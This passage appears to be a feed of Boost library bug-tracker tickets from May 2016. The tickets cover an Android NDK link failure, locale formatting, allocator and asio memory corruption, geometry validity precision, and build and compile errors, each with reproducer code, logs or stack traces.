ZLIB_BINARY=zd
linkflags= -Wl,--fix-cortex-a8 -Wl,--no-undefined -Wl,--gc-sections -Wl,-z,noexecstack -Wl,-z,relro -Wl,-z,now -Wl,-z,nocopyreloc -fPIE -pie
-j
2

boost.user.jam content:

using gcc
  : ndk
  : "/home/travis/build/ruslo/hunter_sandbox/_ci/android-ndk-r10e/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-g++" -fexceptions -frtti -Wno-psabi --sysroot=/home/travis/build/ruslo/hunter_sandbox/_ci/android-ndk-r10e/platforms/android-19/arch-arm -funwind-tables -finline-limit=64 -fsigned-char -no-canonical-prefixes -march=armv7-a -mfloat-abi=softfp -mfpu=neon -fdata-sections -ffunction-sections -Wa,--noexecstack -std=c++11 -DANDROID -isystem  /home/travis/build/ruslo/hunter_sandbox/_ci/android-ndk-r10e/platforms/android-19/arch-arm/usr/include -isystem  /home/travis/build/ruslo/hunter_sandbox/_ci/android-ndk-r10e/sources/cxx-stl/gnu-libstdc++/4.9/include -isystem  /home/travis/build/ruslo/hunter_sandbox/_ci/android-ndk-r10e/sources/cxx-stl/gnu-libstdc++/4.9/libs/armeabi-v7a/include -isystem  /home/travis/build/ruslo/hunter_sandbox/_ci/android-ndk-r10e/sources/cxx-stl/gnu-libstdc++/4.9/include/backward
  : <archiver> "/home/travis/build/ruslo/hunter_sandbox/_ci/android-ndk-r10e/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gcc-ar"
;

On Linux '-lrt' library added and it breaks ZLIB linking test:

"/.../android-ndk/android-ndk-r10e/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-g++"
"-fexceptions"
"-frtti"
"-Wno-psabi"
"--sysroot=/.../android-ndk/android-ndk-r10e/platforms/android-19/arch-arm"
"-funwind-tables"
"-finline-limit=64"
"-fsigned-char"
"-no-canonical-prefixes"
"-march=armv7-a"
"-mfloat-abi=softfp"
"-mfpu=neon"
"-fdata-sections"
"-ffunction-sections"
"-Wa,--noexecstack"
"-std=c++11"
"-DANDROID"
"-isystem"
"/.../android-ndk/android-ndk-r10e/platforms/android-19/arch-arm/usr/include"
"-isystem"
"/.../android-ndk/android-ndk-r10e/sources/cxx-stl/gnu-libstdc++/4.9/include"
"-isystem"
"/.../android-ndk/android-ndk-r10e/sources/cxx-stl/gnu-libstdc++/4.9/libs/armeabi-v7a/include"
"-isystem"
"/.../android-ndk/android-ndk-r10e/sources/cxx-stl/gnu-libstdc++/4.9/include/backward"
-L"/.../hunter/_Base/xxxxxxx/3bce312/7416caa/Install/lib"
-Wl,-R
-Wl,"/.../hunter/_Base/xxxxxxx/3bce312/7416caa/Install/lib"
-Wl,-rpath-link
-Wl,"/.../hunter/_Base/xxxxxxx/3bce312/7416caa/Install/lib"
-o
"bin.v2/standalone/ac/gcc-ndk/debug/link-static/threading-multi/zd"
-Wl,--start-group
"bin.v2/standalone/ac/gcc-ndk/debug/link-static/threading-multi/main.o"
-Wl,-Bstatic
-lzd
-Wl,-Bdynamic
-lrt <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
-Wl,--end-group
-g
-pthread
-Wl,--fix-cortex-a8
-Wl,--no-undefined
-Wl,--gc-sections
-Wl,-z,noexecstack
-Wl,-z,relro
-Wl,-z,now
-Wl,-z,nocopyreloc
-fPIE
-pie
/.../android-ndk/android-ndk-r10e/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/../lib/gcc/arm-linux-androideabi/4.9/../../../../arm-linux-androideabi/bin/ld: error: cannot find -lrt

There is no '-lrt' on OSX and same configuration works fine:

"/.../android-ndk/android-ndk-r10e/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/bin/arm-linux-androideabi-g++"
"-fexceptions"
"-frtti"
"-Wno-psabi"
"--sysroot=/.../android-ndk/android-ndk-r10e/platforms/android-19/arch-arm"
"-funwind-tables"
"-finline-limit=64"
"-fsigned-char"
"-no-canonical-prefixes"
"-march=armv7-a"
"-mfloat-abi=softfp"
"-mfpu=neon"
"-fdata-sections"
"-ffunction-sections"
"-Wa,--noexecstack"
"-std=c++11"
"-DANDROID"
"-isystem"
"/.../android-ndk/android-ndk-r10e/platforms/android-19/arch-arm/usr/include"
"-isystem"
"/.../android-ndk/android-ndk-r10e/sources/cxx-stl/gnu-libstdc++/4.9/include"
"-isystem"
"/.../android-ndk/android-ndk-r10e/sources/cxx-stl/gnu-libstdc++/4.9/libs/armeabi-v7a/include"
"-isystem"
"/.../android-ndk/android-ndk-r10e/sources/cxx-stl/gnu-libstdc++/4.9/include/backward"
-L"/.../hunter/_Base/xxxxxxx/3bce312/7416caa/Install/lib"
-Wl,-R
-Wl,"/.../hunter/_Base/xxxxxxx/3bce312/7416caa/Install/lib"
-Wl,-rpath-link
-Wl,"/.../hunter/_Base/xxxxxxx/3bce312/7416caa/Install/lib"
-o
"bin.v2/standalone/ac/gcc-ndk/debug/link-static/threading-multi/zd"
-Wl,--start-group
"bin.v2/standalone/ac/gcc-ndk/debug/link-static/threading-multi/main.o"
-Wl,-Bstatic
-lzd
-Wl,-Bdynamic
-Wl,--end-group
-g
-Wl,--fix-cortex-a8
-Wl,--no-undefined
-Wl,--gc-sections
-Wl,-z,noexecstack
-Wl,-z,relro
-Wl,-z,now
-Wl,-z,nocopyreloc
-fPIE
-pie

There should be no difference because same Android toolchain used on both hosts. OS of host should not affect Android build.

#12211: boost::multiprecision cpp_int renders string inconsistently w.r.t. locale

Tue, 17 May 2016 08:08:49 GMT

When a global locale is set that differs from the classic one, the string output is inconsistent for small numbers, i.e. that fit into one limb, vs bigger numbers. If the locale defines a thousands separator, it is rendered for the small number but not for the bigger number. Example: str() will render 9.999 but also 9999999999999999

The reason is the different internal handling of these cases: a small number is rendered using boost lexical_cast, which evaluates the global locale, while the bigger number is constructed by hand.

Required behavior is that the output is consistent regardless of the size of the number. In addition, it would be nice if str() would use the global locale, while the stream output respects the locale imbued into the given stream.

#12208: Lexer does not work with boost::spirit::istream_iterator

edaskel@… — Mon, 16 May 2016 06:14:06 GMT

According to the documentation, any forward iterator should be usable for the input stream iterator. boost::spirit::istream_iterator is a forward iterator, yet I find boost::wave::lexing_exception is called when it is used instead of std::string_iterator. Further, the Changelog has this to say:

TODO (known issues): ...

Fix the re2c lexer for iterators others then string::iterator (or more generally for iterators, which aren't random access iterators)

which implies that this is a known problem.

Either the documentation should indicate that a random access iterator is required (and this should be enforced with an iterator traits check), or the code should be fixed to only require a forward iterator.

#12207: allocate_shared using fast_pool_allocator results in member vector iterator memory corruption on MSVC

esas — Sun, 15 May 2016 20:26:37 GMT

Reproducer:

#include <vector>
#include <boost/pool/pool_alloc.hpp>
struct TestStruct {
    std::vector<int> vec;
};
int main() {
    //std::allocator<TestStruct> allocator; // works
    boost::fast_pool_allocator<TestStruct> allocator;
    auto test = std::allocate_shared<TestStruct>(allocator);
    test->vec.push_back(1);
    auto iter = test->vec.begin();
    auto val = *iter;
}

When dereferencing iter it will assert "vector iterator not dereferencable" on MSVC (using 2015 Community Edition) everytime on 64-bit and sporadically on 32-bit.

If you put a break point (or break after the assert) and check

"iter" -> "[Raw View]" -> "std::_Vector_const_iterator ..." -> "std::_Iterator012 ..." -> "std::_Iterator_base12" -> "_Myproxy" -> "_Mycont" -> "_Myproxy"

you can see that the _Myproxy of _Mycont is "0xcccccccccccccccc" (uninitialized) when it should point to the _Myproxy of std::_Iterator_base12, forming a loop (which is the case when using std::allocator for the allocation). Note that the times it works when you compile on 32-bit the memory still seems to be corrupted (it's just not set to "0xcccccccccccccccc").

#12206: gcc 6.1 reports "misleading-indentation" warning

yuri.borisoff@… — Sun, 15 May 2016 17:27:11 GMT

GCC 6.1 produces the following output (-Wall, -Werror).

../boost/algorithm/cxx11/none_of.hpp: In function 'bool boost::algorithm::none_of(InputIterator, InputIterator, Predicate)': ../boost/algorithm/cxx11/none_of.hpp:32:1: error: this 'for' clause does not guard... [-Werror=misleading-indentation]

for ( ; first != last; ++first )

../boost/algorithm/cxx11/none_of.hpp:35:5: note: ...this statement, but the latter is misleadingly indented as if it is guarded by the 'for'

return true; ^~

#12205: FTBFS boost.serialization 1.61: undefined reference to boost::archive::codecvt_null

xantares — Sat, 14 May 2016 13:15:39 GMT

hello,

I cannot compile boost 1.61 (1.60 is fine with the same setup):

boost/archive/codecvt_null.hpp:93: undefined reference to `vtable for boost::archive::codecvt_null<wchar_t>

The incriminated package seems serialization, as it goes on with '--without-serialization' flag.

The setup is mingw-w64 on linux, with gcc 6.1.

See full log attached.

#12197: is_valid returns self-intersection error for multipolygons with many decimal

jean.sebastien.carrier@… — Thu, 12 May 2016 21:10:49 GMT

The following code:

typedef boost::geometry::model::polygon<Point> Polygon;
typedef boost::geometry::model::multi_polygon<Polygon> MultiPolygon;
Polygon outer1{ {
   { 2753.82399, 22518.895 },
   { 2790.93453, 22448.2618 },
   { 14793.2302, 27809.5376 },
   { 14590.7789, 28141.4075 },
   { 16120.2042, 25634.299 },
   { 16830.1157, 23682.3504 },
   { 3698, 17280.4245 },
   { 3698, 20053 },
   { 3290.86756, 20924.5835 },
   { 3140.68998, 21523.9236 },
   { 2753.82399, 22518.895 }
} };
Polygon outer2{ {
   { -4891.23816, 18463.1873 },
   { -5184.20528, 17101.1945 },
   { -5793.67689, 15410.9396 },
   { -6670.90183, 13924.6072 },
   { -7655.52041, 12671.2939 },
   { -8707.48466, 11854.286 },
   { -9810.20847, 11342.7777 },
   { -11002.6639, 11255.3896 },
   { -12121.6054, 11341.764 },
   { -13226.5153, 11854.286 },
   { -14278.4796, 12671.2939 },
   { -14967.9231, 13548.8837 },
   { -4891.23816, 18463.1873 }
} };
Polygon outer3{ {
   { -15799.8356, 25348.5883 },
   { -15939.2155, 25634.3426 },
   { -14410.8012, 28141.3084 },
   { -12165.7175, 30390.1272 },
   { -9561.60646, 32349.5454 },
   { -6622.17286, 33700.601 },
   { -3329.74574, 34602.3629 },
   { -0.657491358, 34754.8041 },
   { 3511.98218, 34602.0035 },
   { 3199.23919, 34615.6034 },
   { -15799.8356, 25348.5883 }
} };
MultiPolygon multiPolygon;
multiPolygon.push_back(outer1);
multiPolygon.push_back(outer2);
multiPolygon.push_back(outer3);
std::cout << (boost::geometry::is_valid(outer1) ? "outer1 is valid" : "outer1 is invalid") << std::endl;
std::cout << (boost::geometry::is_valid(outer2) ? "outer2 is valid" : "outer2 is invalid") << std::endl;
std::cout << (boost::geometry::is_valid(outer3) ? "outer3 is valid" : "outer3 is invalid") << std::endl;
std::cout << (boost::geometry::intersects(outer1, outer2) ? "1 and 2 intersects" : "1 and 2 do not intersects") << std::endl;
std::cout << (boost::geometry::intersects(outer1, outer3) ? "1 and 3 intersects" : "1 and 3 do not intersects") << std::endl;
std::cout << (boost::geometry::intersects(outer3, outer2) ? "3 and 2 intersects" : "3 and 2 do not intersects") << std::endl;
boost::geometry::validity_failure_type failure;
auto test = boost::geometry::is_valid(multiPolygon, failure);
std::cout << (test ? "multiPolygon is valid " : "multiPolygon is invalid ") << failure << std::endl;

will fail (and show error code 21), but keep the same values, shorten every number by a few decimals, and all of a sudden, is_valid starts working again

typedef boost::geometry::model::polygon<Point> Polygon;
typedef boost::geometry::model::multi_polygon<Polygon> MultiPolygon;
Polygon outer1{ {
{2753.82, 22518.9},
{2790.93, 22448.3},
{14793.2, 27809.5},
{14590.8, 28141.4},
{16120.2, 25634.3},
{16830.1, 23682.4},
{3698, 17280.4}   ,
{3698, 20053}     ,
{3290.87, 20924.6},
{3140.69, 21523.9},
{2753.82, 22518.9}
} };
Polygon outer2{ {
{-4891.24, 18463.2},
{-5184.21, 17101.2},
{-5793.68, 15410.9},
{-6670.9, 13924.6} ,
{-7655.52, 12671.3},
{-8707.48, 11854.3},
{-9810.21, 11342.8},
{-11002.7, 11255.4},
{-12121.6, 11341.8},
{-13226.5, 11854.3},
{-14278.5, 12671.3},
{-14967.9, 13548.9},
{-4891.24, 18463.2}
} };
Polygon outer3{ {
{-15799.8, 25348.6},
{-15939.2, 25634.3},
{-14410.8, 28141.3},
{-12165.7, 30390.1},
{-9561.61, 32349.5},
{-6622.17, 33700.6},
{-3329.75, 34602.4},
{-0.657491, 34754.8},
{3511.98, 34602},
{3199.24, 34615.6},
{-15799.8, 25348.6}
} };
MultiPolygon multiPolygon;
multiPolygon.push_back(outer1);
multiPolygon.push_back(outer2);
multiPolygon.push_back(outer3);
std::cout << (boost::geometry::is_valid(outer1) ? "1 is valid" : "1 is invalid") << std::endl;
std::cout << (boost::geometry::is_valid(outer2) ? "2 is valid" : "2 is invalid") << std::endl;
std::cout << (boost::geometry::is_valid(outer3) ? "3 is valid" : "3 is invalid") << std::endl;
std::cout << (boost::geometry::intersects(outer1, outer2) ? "1 and 2 intersects" : "1 and 2 do not intersects") << std::endl;
std::cout << (boost::geometry::intersects(outer1, outer3) ? "1 and 3 intersects" : "1 and 3 do not intersects") << std::endl;
std::cout << (boost::geometry::intersects(outer3, outer2) ? "3 and 2 intersects" : "3 and 2 do not intersects") << std::endl;
std::cout << (boost::geometry::is_valid(multiPolygon) ? "multiPolygon is valid" : "multiPolygon is invalid") << std::endl;

#12188: Valgrind reports invalid delete after using boost::asio::ip::tcp::resolver.resolve

Tue, 10 May 2016 13:34:06 GMT

OS:

Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) x86_64 GNU/Linux

COMPILER:

gcc version 4.9.2 (Debian 4.9.2-10)

SOURCE:

#include <boost/asio.hpp>
int main()
{
    boost::asio::io_service queue;
    boost::asio::ip::tcp::resolver resolver( queue );
    boost::asio::ip::tcp::resolver::query query( "google.com", "" );
    resolver.resolve( query );
    queue.run();
}

COMMAND:

gcc main.cpp -lstdc++ -pthread -lboost_system
valgrind ./a.out

OUTPUT:

==20844== Memcheck, a memory error detector
==20844== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==20844== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==20844== Command: ./a.out
==20844==
==20844== Invalid free() / delete / delete[] / realloc()
==20844==    at 0x4C29E90: free (vg_replace_malloc.c:473)
==20844==    by 0x58C249B: __libc_freeres (in /lib/x86_64-linux-gnu/libc-2.19.so)
==20844==    by 0x4A236CC: _vgnU_freeres (vg_preloaded.c:63)
==20844==    by 0x57ADAEA: __run_exit_handlers (exit.c:97)
==20844==    by 0x57ADB74: exit (exit.c:104)
==20844==    by 0x5797B4B: (below main) (libc-start.c:321)
==20844==  Address 0x5b1b2d0 is 0 bytes inside data symbol "noai6ai_cached"
==20844==
==20844==
==20844== HEAP SUMMARY:
==20844==     in use at exit: 0 bytes in 0 blocks
==20844==   total heap usage: 79 allocs, 80 frees, 11,451 bytes allocated
==20844==
==20844== All heap blocks were freed -- no leaks are possible
==20844==
==20844== For counts of detected and suppressed errors, rerun with: -v
==20844== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

#12187: Boost-bugs Archive link does not work

nayana4u@… — Tue, 10 May 2016 11:23:55 GMT

Boost mailing list email footer says go to http://lists.boost.org/mailman/listinfo.cgi/boost-bugs for bug list.

In that page it says This mailing list is a read-only mailing list that receives updates every time tickets in Boost's Trac system are updated. To see the collection of prior postings to the list, visit the Boost-bugs Archives (http://lists.boost.org/boost-bugs/).

But this link shows 404 error

Someone need to correct bug archive url to in email template footer

#12186: Inclusion order for labeled_graph

scott_paulin@… — Tue, 10 May 2016 08:04:59 GMT

Hi,

It looks like the labeled_graph header has some unmet dependencies. If labeled_graph is the first boost graph include compilation will fail. If it is not the first (e.g. after adjacency_list) compilation suceeds. I am using boost 1.54. Sorry I have no idea if this has been fixed in later versions.

Ex. 1 compilation fails

#include "boost/graph/labeled_graph.hpp"
#include "boost/graph/adjacency_list.hpp"
int main(int,char*[])
{
}

Ex. 2 compilation succeeds with include order swapped.

#include "boost/graph/adjacency_list.hpp"
#include "boost/graph/labeled_graph.hpp"
int main(int,char*[])
{
}

#12185: bootstrap for boost_60_0 does not work for Visual Studio 2013

peter.raeth@… — Mon, 09 May 2016 19:19:51 GMT

Trying a simplified Windows build of boost_60_0, the most recent stable version.

Went through previous tickets and tried applying https://svn.boost.org/trac/boost/ticket/9301 without success.

Am using Visual Studio 2013 on a Windows v10 64-bit laptop. Was following tutorial http://www.boost.org/doc/libs/1_60_0/more/getting_started/windows.html#simplified-build-from-source.

Received the following error upon trying to execute "bootstrap" from the DOS command line:

C:\Users\peter.raeth\Downloads\boost_1_60_0>bootstrap Building Boost.Build engine

Failed to build Boost.Build engine. Please consult bootstrap.log for further diagnostics.

You can try to obtain a prebuilt binary from

http://sf.net/project/showfiles.php?group_id=7586&package_id=72941

Also, you can file an issue at http://svn.boost.org Please attach bootstrap.log in that case.

C:\Users\peter.raeth\Downloads\boost_1_60_0>

Log says no include path set but can not see how to set that.

Would prefer the build process since the prebuilt binaries appear to be pretty old.

#12182: boost::asio async_send corrupts memory on Visual Studio 2015 x64 build

Sun, 08 May 2016 14:19:43 GMT

Hi, I've got unexpected problem on Windows using Visual Studio 2015 x64. Problem occurs only in x64 Debug build on Visual Studio 2015. All works fine in Win32 build, Linux and Android platforms also. Seems x64 Release build also works fine. Brief description:

Code highlighting:

boost::asio::async_write(*m_socket, buffers, make_write_handler(
                                     boost::bind(&base_connection::on_write, self(), _1, _2)));

Line 69 in https://github.com/qmule/libed2k/blob/kad/src/base_connection.cpp I've got rewrited at least 4 bytes in member of peer_connection class. So, I set breakpoint on data write for class member and get stack when it happens. From stack I see memory corruption occurred on creation object in file win_iocp_socket_service_base.hpp:226

Code highlighting:

// Allocate and construct an operation to wrap the handler.
  typedef win_iocp_socket_send_op<ConstBufferSequence, Handler> op;
  typename op::ptr p = { boost::asio::detail::addressof(handler),
    boost_asio_handler_alloc_helpers::allocate(
      sizeof(op), handler), 0 };
  p.p = new (p.v) op(impl.cancel_token_, buffers, handler);

Actually seems problem in boost::asio allocation helper, entry point in file handler_alloc_helpers.hpp:31 - since when I defined BOOST_ASIO_DISABLE_HANDLER_HOOKS to activate simple new for allocation problem was fixed:

Code highlighting:

template <typename Handler>
inline void* allocate(std::size_t s, Handler& h)
{
#if !defined(BOOST_ASIO_HAS_HANDLER_HOOKS)
  return ::operator new(s);
#else
  using boost::asio::asio_handler_allocate;
  return asio_handler_allocate(s, boost::asio::detail::addressof(h));
#endif
}

Full stack on breakpoint on memory:

conn.exe!boost::asio::detail::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > >::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > >(const boost::asio::detail::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > > & other) Line 188	C++
 	conn.exe!boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const & __ptr64,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> >::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const & __ptr64,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> >(boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const &,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> > && other) Line 165	C++
 	conn.exe!boost::asio::detail::win_iocp_socket_send_op<boost::asio::detail::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > >,boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const & __ptr64,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> > >::win_iocp_socket_send_op<boost::asio::detail::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > >,boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const & __ptr64,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> > >(std::weak_ptr<void> cancel_token, const boost::asio::detail::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > > & buffers, boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const &,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> > & handler) Line 49	C++
 	conn.exe!boost::asio::detail::win_iocp_socket_service_base::async_send<boost::asio::detail::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > >,boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const & __ptr64,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> > >(boost::asio::detail::win_iocp_socket_service_base::base_implementation_type & impl, const boost::asio::detail::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > > & buffers, int flags, boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const &,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> > & handler) Line 226	C++
 	conn.exe!boost::asio::stream_socket_service<boost::asio::ip::tcp>::async_send<boost::asio::detail::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > >,boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const & __ptr64,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> > >(boost::asio::detail::win_iocp_socket_service<boost::asio::ip::tcp>::implementation_type & impl, const boost::asio::detail::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > > & buffers, int flags, boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const &,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> > && handler) Line 332	C++
 	conn.exe!boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >::async_write_some<boost::asio::detail::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > >,boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const & __ptr64,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> > >(const boost::asio::detail::consuming_buffers<boost::asio::const_buffer,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > > & buffers, boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const &,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> > && handler) Line 733	C++
 	conn.exe!boost::asio::detail::write_op<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,boost::asio::detail::transfer_all_t,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const & __ptr64,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> >::operator()(const boost::system::error_code & ec, unsigned __int64 bytes_transferred, int start) Line 183	C++
 	conn.exe!boost::asio::async_write<boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> >,std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> >,libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const & __ptr64,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> >(boost::asio::basic_stream_socket<boost::asio::ip::tcp,boost::asio::stream_socket_service<boost::asio::ip::tcp> > & s, const std::list<boost::asio::const_buffer,std::allocator<boost::asio::const_buffer> > & buffers, libed2k::base_connection::allocating_handler<boost::_bi::bind_t<void,boost::_mfi::mf2<void,libed2k::base_connection,boost::system::error_code const &,unsigned __int64>,boost::_bi::list3<boost::_bi::value<boost::intrusive_ptr<libed2k::base_connection> >,boost::arg<1>,boost::arg<2> > >,300> && handler) Line 624	C++
 	conn.exe!libed2k::base_connection::do_write(int quota) Line 69	C++
 	conn.exe!libed2k::peer_connection::do_write(int __formal) Line 492	C++
 	conn.exe!libed2k::base_connection::write_message(const std::pair<libed2k::libed2k_header,std::basic_string<char,std::char_traits<char>,std::allocator<char> > > & msg) Line 78	C++
 	conn.exe!libed2k::base_connection::write_struct<libed2k::client_hello>(const libed2k::client_hello & t) Line 75	C++
 	conn.exe!libed2k::peer_connection::write_struct<libed2k::client_hello>(libed2k::client_hello & t) Line 279	C++
 	conn.exe!libed2k::peer_connection::write_hello() Line 1667	C++
 	conn.exe!libed2k::peer_connection::on_connect(const boost::system::error_code & e) Line 1082	C++

#12180: Date time parsing with a particular format string dereferences an end iterator

sascha.zelzer@… — Fri, 06 May 2016 10:18:05 GMT

